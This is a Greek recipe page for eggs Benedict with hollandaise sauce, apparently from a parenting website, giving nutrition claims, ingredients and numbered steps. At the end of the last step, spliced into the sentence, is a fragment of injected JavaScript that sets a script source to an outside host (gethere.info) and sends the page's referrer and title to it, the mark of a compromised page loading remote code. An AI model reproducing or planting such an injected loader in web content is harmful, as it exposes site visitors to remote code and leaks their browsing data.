mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Αυγά Benedict

Αυγά Benedict

Eggs_benedictΤα αυγά benedict είναι μια νόστιμη πρόταση για πρωινό σερβίρισμα αυγών και όχι μόνο. Μπορεί να γίνει το μεσημερινό μας γεύμα και το βραδινό μας καθώς τα αυγά χρειάζεται να καταναλώνονται 2-3 φορές μέσα στην εβδομάδα! Είναι μια κλασική νεοϋορκέζικη συνταγή, η οποία όμως μπορεί να γίνει πολύ δημοφιλής στα παιδιά μας.

Επιπλέον, το αυγό είναι μια από τις ιδανικές τροφές για αδυνάτισμα, λόγω  της χαμηλής ενεργειακής αξίας του αλλά και την αίσθηση κορεσμού που προκαλεί. Ακόμη είναι φυσική πηγή βιταμινών B2, B12 και D καθώς και βιταμίνης Α, φυλλικού οξέως και χολίνης. Έτσι, θεωρείται μια πλήρης τροφή!

Η παρακάτω συνταγή περιλαμβάνει αυγά μάτια μέσα σε ψωμάκια, μπέικον, πατάτες και την πεντανόστιμη σως Ολλαντέζ. Είναι από τα πλέον πλήρη γεύματα και αξίζει να το δοκιμάσουμε.

Για να δούμε τι υλικά θα χρειαστούμε:

Υλικά:

2 αυγά
1 μέτριο αγγλικό muffin
3 φέτες μπέικον
1 μέτρια πατάτα
αλάτι
μαύρο πιπέρι
Για την σως Ολλαντέζ
1 κρόκος αυγού
1 κ.σ. χυμός λεμονιού
45 γραμμάρια βούτυρο κομμένο σε κύβους
αλάτι
μαύρο πιπέρι

Εκτέλεση:

1. Πλένουμε την πατάτα πολύ καλά και την κόβουμε σε κύβους.
2. Τοποθετούμε τους κύβους σε ένα αντικολλητικό ταψάκι, αλατοπιπερώνουμε και ψήνουμε στους 200 βαθμούς Κελσίου για περίπου 30 λεπτά ή μέχρι να πάρουν χρώμα.
3. Παράλληλα, κόβουμε το μπέικον σε λωρίδες και το ψήνουμε σε αντικολλητικό τηγάνι. Δεν πρέπει να είναι μαλακώσουν πολύ, αλλά να είναι τραγανά.
4. Βάζουμε νερό σε ένα άλλο τηγάνι και ρίχνουμε προσεκτικά τα αυγά και ψήνουμε για 3 λεπτά.
5. Κόβουμε στη μέση το ψωμάκι και ψήνουμε τις φέτες στην τοστιέρα και μόλις τις βγάλουμε τις βουτυρώνουμε.
6. Αλώνουμε τα ψωμάκια σε ένα πιάτο και βάζουμε πάνω σε κάθε ένα τα κομμάτια μπέικον τα αυγά και αλατοπιπερώνουμε.
7. Στην άκρη του πιάτου τοποθετούμε τις πατάτες.
Για την Ολλαντέζ σώς
8. Ρίχνουμε τον κρόκο, τον χυμό λεμονιού, το αλάτι και το πιπέρι σε ένα κατσαρολάκι σε χαμηλή θερμοκρασία.
9. Ανακατεύοντας προσθέτουμε σταδιακά το βούτυρο, μέχρι να πήξει η σώς.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Share This
1 Comment